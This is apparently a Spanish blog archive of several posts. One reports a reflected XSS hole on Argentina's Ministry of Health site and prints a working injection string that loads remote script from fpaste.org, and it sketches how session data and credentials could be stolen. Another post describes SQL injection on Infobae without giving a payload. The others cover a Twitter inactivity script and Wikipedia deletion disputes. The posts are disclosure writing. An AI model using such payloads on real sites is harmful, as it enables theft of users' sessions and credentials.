XSS en el sitio del Ministerio de Salud

Hace un par de días descubrí una vulnerabilidad XSS bastante común en el sitio web del Ministerio de Salud de la Nación.

Me sorprende que una vulnerabilidad tan evidente esté presente en uno de los sitios más importantes de nuestra administración pública. Como se podrán imaginar, los sitios gubernamentales son objetivos de alto riesgo en el campo de la seguridad informática, por lo que debería someterse a los más estrictos controles durante su desarrollo y su posterior mantenimiento.

Después de todo, “cross-site scripting (XSS) es una de las vulnerabilidades más predominantes, obstinadas y peligrosas en las aplicaciones web”1.

¿En qué consiste la vulnerabilidad?

Un usuario realiza una búsqueda en el sitio y la búsqueda original se le vuelve a presentar en un campo de texto junto a los resultados. Por ejemplo:

Búsqueda en el Ministerio de Salud de la Nación

El código del campo de texto es el siguiente:

1
<input name="txtBusqueda2" size="40" type="text" value="hospitales del chaco" />

El problema se encuentra en la impresión de esa búsqueda original: los caracteres < y > (apertura y cierre de etiquetas HTML) no son convertidos a sus respectivas entidades.

Parece un detalle menor, pero es un enorme agujero de seguridad que permite ejecutar código arbitrario y comprometer seriamente la información de sus usuarios. Por ejemplo, si uno busca:

" /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value="

Se obtiene:

1
<input name="txtBusqueda2" size="40" type="text" value=" " /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value=" " />

Y, por consiguiente (clic para agrandar):

XSS en el Ministerio de Salud de la Nación

¿Qué consecuencias puede ocasionar esta vulnerabilidad?

  • Se puede esconder una URL maliciosa con un acortador de URL que redirija a la víctima hacia el sitio vulnerable junto con un POST de búsqueda que permita ejecutar código arbitrario.
  • Se podría obtener datos de sesión, credenciales de correo electrónico, acceso a paneles de administración, etcétera.
  • Si se añaden las librerías adecuadas (como jQuery), es posible enviar estos datos a nuestros servidores de forma transparente, sin que el usuario se percate del ataque, y almacenarlos para su uso posterior.

La vulnerabilidad fue reportada oportunamente, pero no obtuve respuesta (como suele suceder en el 95% de los casos). Espero que lo solucionen antes de que sea demasiado tarde.

1 – Fragmento de “Failure to Preserve Web Page Structure (‘Cross-site Scripting’)“, publicado en 2010 CWE/SANS Top 25 Most Dangerous Programming Errors.

XSS y SQL Injection en Infobae.com

Ayer me puse a revisar Infobae en búsqueda de agujeros XSS, y grata fue mi sorpresa cuando encontré una falla en el primer intento, lo cual me da a entender que Infobae es un “colador”.

Y eso no es todo. Profundizando un poco más, encontré algo más grave:

  1. Las líneas de debugging son públicas
  2. Están imprimiendo consultas de SQL en comentarios HTML
  3. No están escapando caracteres en las consultas SQL

Este último punto significa que cualquier persona puede realizar inyecciones SQL1, o sea:

  1. Obtener información sensible de los usuarios registrados en Infobae, como nombres de usuario, números de DNI, direcciones de correo electrónico, contraseñas (si no están encriptadas o si utilizan hashes md5 reversibles2), etc.
  2. Modificar información del diario, como el título de la portada principal (un amigo me sugirió que ponga “Encontraron las manos de Perón”)
  3. Vaciar (TRUNCATE) o eliminar (DROP) tablas y bases de datos completas.

Quise contactarme con ellos, pero la página de contacto del diario no anda, así que les envié un mail con una descripción del problema (nunca me contestaron). Para que sepan: pasaron 24 horas y los agujeros no fueron parcheados.

1 – Es posible que utilicen usuarios con jerarquía de privilegios, aunque lo dudo.
2 – “Recently, a number of projects have created MD5 rainbow tables which are easily accessible online, and can be used to reverse many MD5 hashes into strings that collide with the original input, usually for the purposes of password cracking” (Wikipedia)

Machu Picchu

Machu Picchu
Con Nacho y Gali en Machu Picchu, a fines de diciembre de 2009

Identificando posibles “drops” de usuarios de Twitter, con Python

Hace un par de días se supo que Twitter liberará aquellos nombres de usuario que no hayan registrado actividad durante 6 meses o más.

Les dejo una herramienta para obtener los días de inactividad de un usuario a través de su último status publicado. Esta clase puede ser utilizada, por ejemplo, para recorrer listados de palabras en búsqueda de nombres valiosos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import twitter
import sys
import urllib2
from datetime import datetime
 
class UnknownUser(Exception):
    pass
 
class UnknownStatus(Exception):
    pass
 
class TwitterExpire(object):
    def __init__(self):
        self.__t = twitter.Api()
 
    def verify(self, username):
        try:
            user = self.__t.GetUser(user=username)
        except urllib2.HTTPError:
            raise UnknownUser
        else:
            status = user.GetStatus()
            if status:
                timestamp = status.GetCreatedAtInSeconds()
                d = datetime.fromtimestamp(timestamp)
                td = datetime.now() - d
                return td
            else:
                raise UnknownStatus
 
def main(username):
    te = TwitterExpire()
    try:
        result = te.verify(username)
    except UnknownUser:
        print u"User '%s' doesn't exist" % username
    except UnknownStatus:
        print u"Couldn't find any status for '%s'" % username
    else:
        print result
 
if __name__ == '__main__':
    if len(sys.argv) &gt;= 2:
        main(username=sys.argv[1])

Algunos resultados:

mahadeva@blue:~$ python2.5 last_status.py patito
258 days, 11:16:49.425212
mahadeva@blue:~$ python2.5 last_status.py patricio
Couldn't find any status for 'patricio'
mahadeva@blue:~$ python2.5 last_status.py usuarioinexistente
User 'usuarioinexistente' doesn't exist
mahadeva@blue:~$ python2.5 last_status.py shitmydadsays
1 day, 22:35:44.434214

Wikimedia Argentina en la Rosada

Python 2.5 en iPod Touch 2G

Calculando un timedelta con Python 2.5.1 en el iPod Touch ¡Muy groso!

FAQ sobre artículos de LUGs en Wikipedia en español

¿Por qué se eliminan artículos de LUGs en Wikipedia?

Los wikipedistas trabajamos en el proyecto a través del consenso y dentro del marco de las políticas, convenciones y prácticas establecidas por la comunidad. Los artículos de LUGs tienen dos problemas: a) no tienen relevancia aparente y b) en su mayoría son artículos de autopromoción.

Definitivamente, no se considera relevante para una enciclopedia un artículo que trate sobre grupos de música, empresas, organizaciones o personajes que carezcan de conocimiento público.

Casos comunes de irrelevancia enciclopédica, en WP:RE

Es falaz utilizar una encuesta para validar un argumento, sin embargo, sirve como herramienta para conocer tendencias y sacar conclusiones. Hace algunos años se realizó una encuesta en Wikipedia en español para determinar qué temas suelen carecer de relevancia enciclopédica, y se concluyó lo siguiente respecto a las instituciones o clubes sociales que no trasciendan mas allá de una ciudad:

Una institución o club social no es relevante si solo es trascendente en una ciudad. Las excepciones pueden venir de ejemplos que se relacionen con temas muy trascendentales, o en ciudades muy grandes donde la importancia de la institución sea altamente considerable.

¿Por qué borran el artículo de un LUG y no el artículo del Teto Medina?

Este es un argumento muy utilizado en las consultas de borrado de Wikipedia.

En este momento hay muchos artículos que probablemente no deberían existir en Wikipedia, y hay muchos otros que actualmente no existen que sí deberían estar. Al afirmar eso [...] no estás argumentando la relevancia enciclopédica del artículo. Y eso es lo que se está discutiendo.

De hecho, si ese artículo no es enciclopédicamente relevante no sólo no debes justificarte en otros para apoyar tu argumento, sino que puedes colaborar con Wikipedia, y aclarar su relevancia para comprobar si corresponde que sea borrado.

WP:QUEHAYDE

Hay artículos de LUGs en la Wikipedia en inglés

Este es otro ejemplo del argumento falaz denominado como generalización apresurada. En este momento hay muchos artículos que probablemente no deberían existir en ninguna Wikipedia, y hay muchos otros que actualmente no existen y que sí deberían estar. Es por ello que el hecho de que un artículo no haya sido borrado todavía o no exista aún en otra Wikipedia no significa que no deba borrarse o mantenerse.

Si por el contrario el artículo ha sido ya creado y se ha discutido su borrado en otra Wikipedia ha de tenerse en cuenta que el contenido de Wikipedia en español se rige por las políticas de Wikipedia en español y se organiza de lo general a lo concreto en base las circunstancias de Wikipedia en español. Incluso si dos artículos fueran completamente iguales, argumentar como motivo que dichos artículos han sido borrados o mantenidos en otra wikipedia es un argumento falaz, no sólo ya porque otras wikipedias se encuentran en una situación distinta y poseen políticas diferentes al respecto, sino porque pueden estar tan equivocadas como nosotros.

WP:ESA

¿Por qué Wikimedia Argentina elimina artículos de LUGs?

En algunas listas de correo leí que Wikimedia Argentina está detrás de una “caza de brujas” contra el software y la cultura libres:

Con la ola de borrados de páginas relacionadas a la comunidad de Software Libre y otras actitudes despreciables de Wikimedia Argentina para con la comunidad, creo que hay que pensar un poco antes de seguir dando respaldo a esta organización.

Alguien muy enojado en la lista de Python Argentina

Los wikipedistas son autónomos y actúan libremente como usuarios de Wikipedia, no como miembros de Wikimedia Argentina. Wikimedia Argentina no tiene ninguna responsabilidad en las acciones de los wikipedistas.

Wikipedia tiene algo contra nosotros

Extraoficialmente se comenta que existe cierta animosidad en contra de los usuarios de Software Libre que participan en Wikipedia.

Alguien en la lista de CaFeLUG1

Los wikipedistas más experimentados suelen buscar artículos de la misma temática cuando hallan artículos sin relevancia aparente, generalmente para interiorizarse en el tema  o para comparar fuentes y referencias.

Sucede que, al hacer esto, a veces encontramos más artículos sin relevancia aparente, y ahí es cuando pasan cosas raras, como cuando se borraron masivamente artículos de actores de doblaje:

No sé bajo que verdad se esconda esta persona, ya que solo responde a un seudónimo y no da la cara con su verdadera identidad, ni los verdaderos motivos para hacer esto. Es una vergüenza que este tipo de personas odien la libertad de expresión, de información, y más penoso es para nosotros permitir que estos “redentores” de la humanidad sigan haciendo de las suyas… Estas personas son los que desprecian el trabajo de los demás y no aprecian el esfuerzo de unos y otros.

Un actor de voz mexicano muy enojado

No es la primera vez que nos dicen estas cosas (y no creo que vaya a ser la última). Si creen que en Wikipedia odiamos la libertad de expresión y de información, les recomiendo leer WP:NOES, particularmente “Lo que la comunidad de Wikipedia no es

1- Edité este post usando Mozilla Firefox en mi Ubuntu 9.10. Este blog corre gracias a Wordpress, en un servidor Apache, con una base de datos MySQL y en un sistema operativo GNU/Linux. ¿No es irónico que yo, usuario de Wikipedia en español desde hace 4 años, esté en contra del Software Libre y de sus usuarios?

Este pibe es un fenómeno

La cultura de la supervisión y la creatividad

La fuente de productividad más importante en la economía de la información es la creatividad, y no es posible crear algo interesante si la premura de tiempo es constante o debe realizarse de una forma regulada de nueve a cinco. De modo que, aun cuando sea sólo por razones estrictamente económicas, es importante permitir la presencia de la dimensión lúdica y de los estilos individuales de creatividad dado que, en la economía de la información, la cultura de la supervisión acaba por volverse con suma facilidad en contra de los objetivos ambicionados.

Pekka Himanen en “La ética del hacker y el espíritu de la era de la información

“Odio que las empresas traten a sus empleados como niños”

Les recomiendo un interesantísimo artículo de Jason Fried1, CEO de 37signals.

Los empleados vienen a la oficina cuando quieren, o de lo contrario trabajan desde sus casas. No creo en la semana laboral de 40 horas, así que dejamos esa boludez sobre estar en algún lugar cierta cantidad de horas. No tengo idea cuántas horas trabajan mis empleados — sólo sé que cumplen con su trabajo.

Me molesta bastante que la definición de éxito haya cambiado de ganancias a seguidores, amigos y suscriptores. Esta mierda no significa nada. Los chicos salen de la facultad pensando “quiero crear el próximo YouTube o Facebook”. Si un restaurante sirve más comida que los demás pero pierden plata en cada cena, es un negocio exitoso? No. Pero en Internet, por alguna razón, si tenés más usuarios que los demás, sos exitoso. No, no lo sos.

En el mundo de los negocios, las personas son propietarias — tienen miedo de compartir.

Raramente tenemos reuniones. Las odio. Son una gran pérdida de tiempo, y son costosas. No es una hora: son 10, porque arrastrás a 10 personas lejos de su verdadero trabajo

Odio que las empresas traten a sus empleados como niños. Bloquean Facebook o YouTube porque quieren que sus empleados trabajen ocho horas diarias. Pero en vez de obtener más productividad, obtenés frustración. Cuál es el punto? Mientras el trabajo se cumpla, no me importa lo que la gente hace durante el día.

1 las ideas son de Jason, pero lo escribió Liz Welch